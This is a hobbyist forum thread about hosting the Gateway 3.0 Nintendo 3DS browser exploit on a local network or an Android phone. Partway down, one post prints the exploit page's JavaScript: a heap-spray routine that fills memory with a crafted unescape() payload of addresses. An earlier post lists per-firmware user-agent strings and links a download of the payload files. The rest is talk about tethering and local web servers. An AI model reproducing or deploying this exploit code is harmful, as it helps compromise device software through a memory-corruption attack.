Hacking [Attempt] Running GW3.0 Web Exploit on a Local Network

felystar

Well-Known Member
Member
Joined
Jul 27, 2012
Messages
166
Trophies
0
Age
27
XP
275
Country
Its offline, you could also use your mobile hosting theese files if you are not @ home ;)
I guess I would have to create a network with my mobile and share it to my 3DS, right?



Well study some 3ds html instead and put the physics away. :P haha

I'll be doing that right when I finish the unit. That's for sure :rolleyes:
 

bendrr

Well-Known Member
OP
Member
Joined
Dec 3, 2014
Messages
163
Trophies
0
Age
49
XP
150
Country
United States
the region doesn't matter, i made a simple c# app to download all of the different payloads and only the version string matters.

fw 2.0 = "Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7412.US"
fw 2.1-3.X = "Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7498.US"
fw 4.0-4.X = "Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7455.US"
fw 5.0-7.0 = "Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7552.US"
fw 7.1-9.X = "Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7567.US"

so there are 5 different payloads.
here the payloads in html and as binary dat:
http://www.mediafire.com/download/2pd0p3htica8c4n/gateway30_payloads.7z


that's it, you are the shit! thanks
 

Cyan

GBATemp's lurking knight
Former Staff
Joined
Oct 27, 2002
Messages
23,746
Trophies
4
Age
46
Location
Engine room, learning
XP
15,663
Country
France
the .dat file is not needed.
the .dat file is only an easy way to look at the payload in binary form, it contains the decrypted string located in the javascript code

unescape("blablablablabla_I'm an encrypted payload_blablabla").

The 3DS browser only loads the javascript, not the .dat


The ability to load the exploit on offline mode would be even better (when you are on a trip, etc.)
That's probably what 4.5 downgrade feature is for, as 4.5 MSET exploit is still usable with gateway3.0
 
  • Like
Reactions: Margen67

dontay0100

Well-Known Member
Member
Joined
Mar 18, 2007
Messages
506
Trophies
0
XP
511
Country
United States
<html>
<head>
<style>
body {
color:white;
background:black;
}


</style>
<script>
function magicfun(mem, size, v) {
var a = new Array(size - 20);
nv = v + unescape("%ucccc");
for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));

mem.push(t);
}

function dsm(evnt) {
var mem = [];

for (var j = 20; j < 430; j++) {
magicfun(mem, j, unescape("\u0000\u08e0\u0004\u08e0\u0008\u08e0\u000c\u08e0\u0010\u08e0\u0014\u08e0\u0018\u08e0\u001c\u08e0\u0020\u08e0\u0024\u08e0\u0028\u08e0\u002c\u08e0\u0030\u08e0\u0034\u08e0\u0038\u08e0\u003c\u08e0\u0040\u08e0\u0044\u08e0\u0048\u08e0\u004c\u08e0\u0050\u08e0\u0054\u08e0\u0058\u08e0\u005c\u08e0\u0060\u08e0\u0064\u08e0\u0068\u08e0\u006c\u08e0\u0070\u08e0\u0074\u08e0\u0078\u08e0\u007c\u08e0\u0080\u08e0\u0084\u08e0\u0088\u08e0\u008c\u08e0\u0090\u08e0\u0094\u08e0\u0098\u08e0\u009c\u08e0\u00a0\u08e0\u00a4\u08e0\u00a8\u08e0\u00ac\u08e0\u00b0\u08e0\u00b4\u08e0\u00b8\u08e0\u00bc\u08e0\u00c0\u08e0\u00c4\u08e0\u00c8\u08e0\u00cc\u08e0\u00d0\u08e0\u00d4\u08e0\u00d8\u08e0\u00dc\u08e0\u00e0\u08e0\u00e4\u08e0\u00e8\u08e0\u00ec\u08e0\u00f0\u08e0\u00f4\u08e0\u00f8\u08e0\u00fc\u08e0\u0100\u08e0\u0104\u08e0\u0108\u08e0\u010c\u08e0\u0110\u08e0\u0114\u08e0\u0118\u08e0\u011c\u08e0\u0120\u08e0\u0124\u08e0\u0128\u08e0\u012c\u08e0\u0130\u08e0\u0134\u08e0\u0138\u08e0\u013c\u08e0\u0140\u08e0\u0144\u08e0\u0148\u08e0\u014c\u08e0\u0150\u08e0\u0154\u08e0\u0158\u08e0\u015c\u08e0\u0160\u08e0\u0164\u08e0\u0168\u08e0\u016c\u08e0\u0170\u08e0\u0174\u08e0\u0178\u08e0\u017c\u08e0\u0180\u08e0\u0184\u08e0\u0188\u08e0\u018c\u08e0\u0190\u08e0\u0194\u08e0\u0198\u08e0\u019c\u08e0\u01a0\u08e0\u01a4\u08e0\u01a8\u08e0\u01ac\u08e0\u01b0\u08e0\u01b4\u08e0\u01b8\u08e0\u01bc\u08e0\u01c0\u08e0\u01c4\u08e0\u01c8\u08e0\u01cc\u08e0\u01d0\u08e0\u01d4\u08e0\u01d8\u08e0\u01dc\u08e0\u01e0\u08e0\u01e4\u08e0\u01e8\u08e0\u01ec\u08e0\u01f0\u08e0\u01f4\u08e0\u01f8\u08e0\u01fc\u08e0"));
}
}
</script>
</head>
<body>
<h1 align="center">GATEWAY 3DS LOADING...</h1>
</body>
</html>
 

Attachments

  • gateway exploit.txt
    2.1 KB · Views: 476
  • Like
Reactions: Margen67

liomajor

Well-Known Member
Member
Joined
Jun 10, 2008
Messages
1,468
Trophies
0
XP
1,373
Country
United States
The only thing that is missing, is a little bit scripting for detecting browser version to open different index.php.

I've to go now, maybe someone is faster than me and makes a better package including that.

androPHP is a good solution if you are not at home bcuz you can simply open a share to the files without the need for internet :)
 

Duo8

Well-Known Member
Member
Joined
Jul 16, 2013
Messages
3,613
Trophies
2
XP
3,075
Country
Vietnam
I just do this lol
8eedd0fcd9e7c1c008396c1a0747ac58.jpg
 

azza900

Member
Newcomer
Joined
Nov 19, 2014
Messages
14
Trophies
0
Age
33
XP
106
Country
The only thing that is missing, is a little bit scripting for detecting browser version to open different index.php.

I've to go now, maybe someone is faster than me and makes a better package including that.

androPHP is a good solution if you are not at home bcuz you can simply open a share to the files without the need for internet :)



Can right out a simple guide on how to host the files with androPHP.?
 

gohan123

Well-Known Member
Member
Joined
Dec 26, 2012
Messages
466
Trophies
1
Age
37
XP
2,589
Country
Germany
I just started a web server on my android phone and connected it with mobile tethering. perfect mobile gateway solution until there is an easier solution. no need for real local network or mobile internet at all. :D
 

Site & Scene News

Popular threads in this forum

General chit-chat
Help Users
    Xdqwerty @ Xdqwerty: Anyone here?